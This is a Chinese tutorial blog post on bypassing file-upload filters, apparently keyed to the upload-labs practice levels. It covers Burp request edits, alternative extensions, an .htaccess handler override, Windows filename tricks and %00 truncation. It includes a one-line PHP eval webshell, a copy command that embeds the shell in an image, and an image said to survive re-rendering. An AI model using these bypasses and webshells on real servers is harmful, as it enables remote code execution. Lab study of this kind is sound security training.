当前位置: 首页 > news >正文

文件上传漏洞(2), 文件上传实战绕过思路, 基础篇

文件上传漏洞实战思路(基础)

准备一句话木马文件 mm.php

一, 前端绕过 p1

  1. 浏览器禁用js
  2. 先把mm.php后缀名修改为mm.jpg, 点击提交后, 用 burp 截取请求, 将数据包中的文件名修改回mm.php再提交.

二, 类型MIME绕过 p2

使用 burp 修改 Content-Type: image/jpeg

三, 黑名单绕过 p3

后端禁止上传.asp|.aspx|.php|.jsp后缀文件.
apache的httpd.conf中可能开启了其他类型脚本, 例如: AddType application/x-httpd-php .phps .phtml .php5 .php7 .pht

显然黑名单并不是好的防御方式, 用白名单更安全, 只允许某些类型.
使用 .phtml .phps .php7 等后缀文件.

四, 后缀名解析绕过 p4

后端没有对上传文件重命名, apache是从后先前解析文件后缀名, 直到遇到php可以执行.
cc -> bb -> aa -> php 发现php可以执行.
使用 mm.php.aa.bb.cc

五, .htaccess 文件绕过 p4

后端可能没有限制上传 .htaccess 文件.
.htaccess 文件是一个特殊的配置文件, 它用于配置当前目录下文件的行为, 允许任意格式的文件都作为php脚本执行.
.htaccess文件内容:

SetHandler application/x-httpd-php
  1. 将这个.htaccess文件上传.
  2. 接下来只要上传任意可以绕过黑名单格式的文件都可以当作脚本执行.
    使用 mm.txt, mm.jpg, mm.rar 等等.

六, ". ."点空格点绕过 p5 p10

后端只去除了末尾的一个点, 上传后是 mm.php. , 注意末尾还有一个空格, 后面即使有一个空格也可以执行.
由于windows系统中无法用这种方式作为后缀名, 所以用burp截取请求, 修改文件名再上传.
使用 mm.php. .

七, 大小写绕过 p6

后端没有对文件名进行统一的大小写转换再判断后缀名.
使用 mm.PhP, mm.Php, mm.pHp 等.

八, "."点绕过 p8

后端没有去除末尾的点, 上传后是 mm.php., 后面即使有一个点也可以执行.
使用 mm.php.

九, 双写绕过

后端可能将php等脚本后缀名替换为空, 替换后只保留 mm.php .
使用 mm.pphphp

十, Windows文件系统专用 p7 p9

  1. 空格后缀绕过:
    在windows的文件系统中, 最后面的空格在上传后保存会自动删除, 变成 mm.php
    使用 burp修改文件名 "mm.php "
  2. ::$DATA绕过
    在windows的NTFS文件系统中, $DATA 在上传后保存会自动删除, 变成 mm.php
    使用 burp修改文件名 mm.php::$DATA

十一, PHP旧版本专用 p12 p13

php版本5.3.4以下, 文件名中%00后面的字符在上传到服务器后回截断删掉, 只保留mm.php.
使用 mm.php%00.jpg

十二, 图片马绕过

图片马绕过后上传到服务器, 如果没有.htaccess文件的情况下, 还需要通过文件包含漏洞来执行图片中的代码.

1. 低级防御绕过: p14
后端对图片文件检查不严格时, 例如只读取前2个字节判断图片类型, 那么可以使用简单图片马.
简单的图片马可以直接用记事本写一段文本, 再命名为mm.gif, 例如:

GIF89a
<?php @eval($_GET["cmd"]); ?>

简单图片木马虽然能绕过低级防御, 但是它并不是一个真正可以显示的有效的图片.

2. 中级防御绕过: p15 p16
后端用 getimagesize() 函数读取图片的基本信息, 包括宽高, 大小, 类型数字, mime类型, 通道值等等. 用简单图片马显然不行.
后端用 php_exif 模块的 exif_imagetype() 函数来判断图片, 用简单图片木马无法绕过.

此时我们需要用一张真正的图片制作木马.
准备一张能够正常上传的普通图片test.jpg, 准备木马文件mm.php, 打开cmd, 用copy命将木马合并进图片中得到out.jpg:

copy test.jpg/b + mm.php/a out.jpg

copy命令将mm.php中的代码合并到test.jpg图片结束符的后面, 不会影响图片的结构, 所以out.jpg是一个可以正常显示的有效图片, 可以绕过检测.

3. 高级防御绕过: p17
后端对上传的图片进行二次渲染.

在上传图片木马后, 后端使用 imagecreatefromjpeg() 函数对图片进行重新渲染, 生成一张新的图片保存到服务器.
原本木马图片中位于末尾的php代码会被删除, 导致木马失效.

此时我们需要先下载二次渲染后的图片, 然后用文本编辑器, 或者十六进制编辑器打开这张图片, 尝试在其中出现NULNULNUL这种连续的位置中插入php代码,

然后再上传, 再次下载二次渲染后的图片, 查看代码是否保存成功, 如果代码没有被删除则图片木马成功, 如果代码消失了就重新修改插入代码的位置, 不断尝试直到代码不会被二次渲染删除.

以下是一张能够绕过二次渲染的图片:

data:image/gif;base64,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

相关文章:

文件上传漏洞(2), 文件上传实战绕过思路, 基础篇

文件上传漏洞实战思路(基础) 准备一句话木马文件 mm.php 一, 前端绕过 p1 浏览器禁用js先把mm.php后缀名修改为mm.jpg, 点击提交后, 用 burp 截取请求, 将数据包中的文件名修改回mm.php再提交. 二, 类型MIME绕过 p2 使用 burp 修改 Content-Type: image/jpeg 三, 黑名单绕…...

论文阅读 - Hidden messages: mapping nations’ media campaigns

论文链接&#xff1a; https://link.springer.com/content/pdf/10.1007/s10588-023-09382-7.pdf 目录 1 Introduction 2 The influence model 2.1 The influence‑model library 3 Data 4 Methodology 4.1 Constructing observations 4.2 Learning the state‑transiti…...

[AutoSAR系列] 1.3 AutoSar 架构

依AutoSAR及经验辛苦整理&#xff0c;原创保护&#xff0c;禁止转载。 专栏 《深入浅出AutoSAR》 1. 整体架构 ​ 图片来源&#xff1a; AutoSar 官网 从官往图中可以看出autosar作为汽车ECU软件架构&#xff0c;是通过分层来实现软硬件隔离。就像大多数操作系统一样&#xff…...

迁移学习 - 微调

什么是与训练和微调&#xff1f; 你需要搭建一个网络模型来完成一个特定的图像分类的任务。首先&#xff0c;你需要随机初始化参数&#xff0c;然后开始训练网络&#xff0c;不断调整参数&#xff0c;直到网络的损失越来越小。在训练的过程中&#xff0c;一开始初始化的参数会…...

09 用户态跟踪:如何使用eBPF排查应用程序?

09 用户态跟踪&#xff1a;如何使用eBPF排查应用程序&#xff1f; sudo bpftrace -e usdt:/usr/bin/python3:function__entry { printf("%s:%d %s\n", str(arg0), arg2, str(arg1))} # -*- coding: UTF-8 -*- import socket from socket import SOL_SOCKET, SO_R…...

深入浅出排序算法之堆排序

目录 1. 算法介绍 2. 执行流程⭐⭐⭐⭐⭐✔ 3. 代码实现 4. 性能分析 1. 算法介绍 堆是一种数据结构&#xff0c;可以把堆看成一棵完全二叉树&#xff0c;这棵完全二叉树满足&#xff1a;任何一个非叶结点的值都不大于(或不小于)其左右孩子结点的值。若父亲大孩子小&#x…...

Linux 命令(11)—— tcpdump

文章目录 一、命令简介二、使用方法三、命令选项四、基本语法和使用方法1. 显示 ASCII 字符串2. 抓取特定协议的数据3. 抓取特定主机的数据4. 将抓取的数据写入文件5. 行缓冲模式 五、理解tcpdump的输出六、过滤表达式1. Host 过滤2. Network 过滤3. Proto 过滤4. Port 过滤5. …...

8.自定义组件布局和详解Context上下文

pages/index.vue layout布局运行在服务端 1、在项目的目录下新建layout文件夹&#xff0c;并新建一个blog.vue布局文件 2、在页面中的layout函数里&#xff0c;返回刚才新建布局文件的名字blog就可以使用了 export default {...layout (context) {console.log(context)retu…...

几个Web自动化测试框架的比较:Cypress、Selenium和Playwright

介绍&#xff1a;Web自动化测试框架对于确保Web应用程序的质量和可靠性至关重要。它们帮助开发人员和测试人员自动执行重复性任务&#xff0c;跨多个浏览器和平台执行测试&#xff0c;并在开发早期发现问题。 以下仅代表作者观点&#xff1a; 本文探讨来3种流行的Web自动化测…...

Android Studio中配置aliyun maven库

当下载第三方库失败的时候&#xff0c;通过Android Studio中配置aliyun maven库&#xff0c;达到正常下载库效果 在项目的根build.gradle里面&#xff08;不是module&#xff09;buildscriptde对应位置添加配置&#xff1a; maven { url https://maven.aliyun.com/repository/…...

记录使用阿里 ARoute 遇到的坑

1.按照官方一个配置好之后 尝试使用 跳转出现 Aroute Theres no route matched path"" 我这边遇到的坑是配置问题 kotiln 使用了 Java的配置 plugins {id("com.android.application")id("org.jetbrains.kotlin.android")id("kotlin-kapt&…...

lesson2(补充)关于const成员函数

个人主页&#xff1a;Lei宝啊 愿所有美好如期而遇 前言&#xff1a; 将const 修饰的 “ 成员函数 ” 称之为 const 成员函数 &#xff0c; const 修饰类成员函数&#xff0c;实际修饰该成员函数 隐含的 this 指针 &#xff0c;表明在该成员函数中不能对类的任何成员进行修改…...

前端 :用HTML ,JS写一个 双色球彩票中将机制,因为时间不够,加上本人懒没有用CSS美化界面,多包涵

1.HTML <body><div id"content"><div id "top"><div id "username">用户号码&#xff1a;</div><div id "qiu"><span id "red">红球&#xff1a;</span><input id…...

前端页面如何自适应--4种方法

前端页面有很多方法可以实现。这里我将介绍五种常用的方法&#xff0c;并提供相应的代码示例。 1. 使用CSS媒体查询 通过CSS媒体查询&#xff0c;可以根据不同的屏幕尺寸应用不同的样式。在Vue组件中&#xff0c;可以在样式部分使用媒体查询&#xff0c;使排版根据屏幕大小进…...

2024王道考研计算机组成原理——总线

6.1 总线概述 每一个外设都通过IO接口和DB、CB、AB相连 三系统总线结构&#xff1a; 桥有总线仲裁的功能&#xff0c;就是把某一总线的使用权分给哪个设备&#xff1f; 6.1.2 总线的性能指标 总线复用&#xff1a;分时传输地址&数据 6.2 总线仲裁 通过控制总线来发送使…...

【Linux】进程概念(下)

进程概念 一、环境变量1. 命令行参数2. 常见的环境变量&#xff08;1&#xff09;PATH&#xff08;2&#xff09;PWD&#xff08;3&#xff09;HOME&#xff08;4&#xff09;env 查看所有的环境变量 3. 获取环境变量&#xff08;1&#xff09;通过代码获取环境变量&#xff08…...

基于Spring Boot的本科生就业质量设计与实现

摘 要 信息化爆炸的时代&#xff0c;互联网技术的指数型的增长&#xff0c;信息化程度的不断普及&#xff0c;社会节奏在加快&#xff0c;每天都有大量的信息扑面而来&#xff0c;人们正处于数字信息化世界。数字化的互联网具有便捷性&#xff0c;传递快&#xff0c;效率高&am…...

238. 除自身以外数组的乘积 --力扣 --JAVA

题目 给你一个整数数组 nums&#xff0c;返回 数组 answer &#xff0c;其中 answer[i] 等于 nums 中除 nums[i] 之外其余各元素的乘积 。 题目数据 保证 数组 nums之中任意元素的全部前缀元素和后缀的乘积都在 32 位 整数范围内。 请不要使用除法&#xff0c;且在 O(n) 时间复…...

如何判断一个类是线程安全的

线程安全 一个类或者程序提供的接口&#xff0c;多个线程之间的切换不会导致该接口的执行结果存在二义性&#xff0c;也就是不必考虑同步问题。 或者说一段代码可能会被多个线程同时执行&#xff0c;如果每次运行的结果和单线程执行的结果是一样的&#xff0c;并且其他变量的…...

MyBatis的各种查询功能

文章目录 情景查询一个实体类对象查询一个List集合查询单个数据查询一条数据为map集合查询多条数据为map集合方法一方法二 情景 如果查询出的数据只有一条&#xff0c;可以通过 实体类对象接收List集合接收Map集合接收&#xff0c;结果{password123456, sex男, id1, age23, us…...

超短脉冲激光自聚焦效应

前言与目录 强激光引起自聚焦效应机理 超短脉冲激光在脆性材料内部加工时引起的自聚焦效应&#xff0c;这是一种非线性光学现象&#xff0c;主要涉及光学克尔效应和材料的非线性光学特性。 自聚焦效应可以产生局部的强光场&#xff0c;对材料产生非线性响应&#xff0c;可能…...

springboot 百货中心供应链管理系统小程序

一、前言 随着我国经济迅速发展&#xff0c;人们对手机的需求越来越大&#xff0c;各种手机软件也都在被广泛应用&#xff0c;但是对于手机进行数据信息管理&#xff0c;对于手机的各种软件也是备受用户的喜爱&#xff0c;百货中心供应链管理系统被用户普遍使用&#xff0c;为方…...

《用户共鸣指数(E)驱动品牌大模型种草:如何抢占大模型搜索结果情感高地》

在注意力分散、内容高度同质化的时代&#xff0c;情感连接已成为品牌破圈的关键通道。我们在服务大量品牌客户的过程中发现&#xff0c;消费者对内容的“有感”程度&#xff0c;正日益成为影响品牌传播效率与转化率的核心变量。在生成式AI驱动的内容生成与推荐环境中&#xff0…...

项目部署到Linux上时遇到的错误(Redis,MySQL,无法正确连接,地址占用问题)

Redis无法正确连接 在运行jar包时出现了这样的错误 查询得知问题核心在于Redis连接失败&#xff0c;具体原因是客户端发送了密码认证请求&#xff0c;但Redis服务器未设置密码 1.为Redis设置密码&#xff08;匹配客户端配置&#xff09; 步骤&#xff1a; 1&#xff09;.修…...

return this;返回的是谁

一个审批系统的示例来演示责任链模式的实现。假设公司需要处理不同金额的采购申请&#xff0c;不同级别的经理有不同的审批权限&#xff1a; // 抽象处理者&#xff1a;审批者 abstract class Approver {protected Approver successor; // 下一个处理者// 设置下一个处理者pub…...

Linux 内存管理实战精讲:核心原理与面试常考点全解析

Linux 内存管理实战精讲&#xff1a;核心原理与面试常考点全解析 Linux 内核内存管理是系统设计中最复杂但也最核心的模块之一。它不仅支撑着虚拟内存机制、物理内存分配、进程隔离与资源复用&#xff0c;还直接决定系统运行的性能与稳定性。无论你是嵌入式开发者、内核调试工…...

动态 Web 开发技术入门篇

一、HTTP 协议核心 1.1 HTTP 基础 协议全称 &#xff1a;HyperText Transfer Protocol&#xff08;超文本传输协议&#xff09; 默认端口 &#xff1a;HTTP 使用 80 端口&#xff0c;HTTPS 使用 443 端口。 请求方法 &#xff1a; GET &#xff1a;用于获取资源&#xff0c;…...

(一)单例模式

一、前言 单例模式属于六大创建型模式,即在软件设计过程中,主要关注创建对象的结果,并不关心创建对象的过程及细节。创建型设计模式将类对象的实例化过程进行抽象化接口设计,从而隐藏了类对象的实例是如何被创建的,封装了软件系统使用的具体对象类型。 六大创建型模式包括…...

libfmt: 现代C++的格式化工具库介绍与酷炫功能

libfmt: 现代C的格式化工具库介绍与酷炫功能 libfmt 是一个开源的C格式化库&#xff0c;提供了高效、安全的文本格式化功能&#xff0c;是C20中引入的std::format的基础实现。它比传统的printf和iostream更安全、更灵活、性能更好。 基本介绍 主要特点 类型安全&#xff1a…...

WEB3全栈开发——面试专业技能点P7前端与链上集成

一、Next.js技术栈 ✅ 概念介绍 Next.js 是一个基于 React 的 服务端渲染&#xff08;SSR&#xff09;与静态网站生成&#xff08;SSG&#xff09; 框架&#xff0c;由 Vercel 开发。它简化了构建生产级 React 应用的过程&#xff0c;并内置了很多特性&#xff1a; ✅ 文件系…...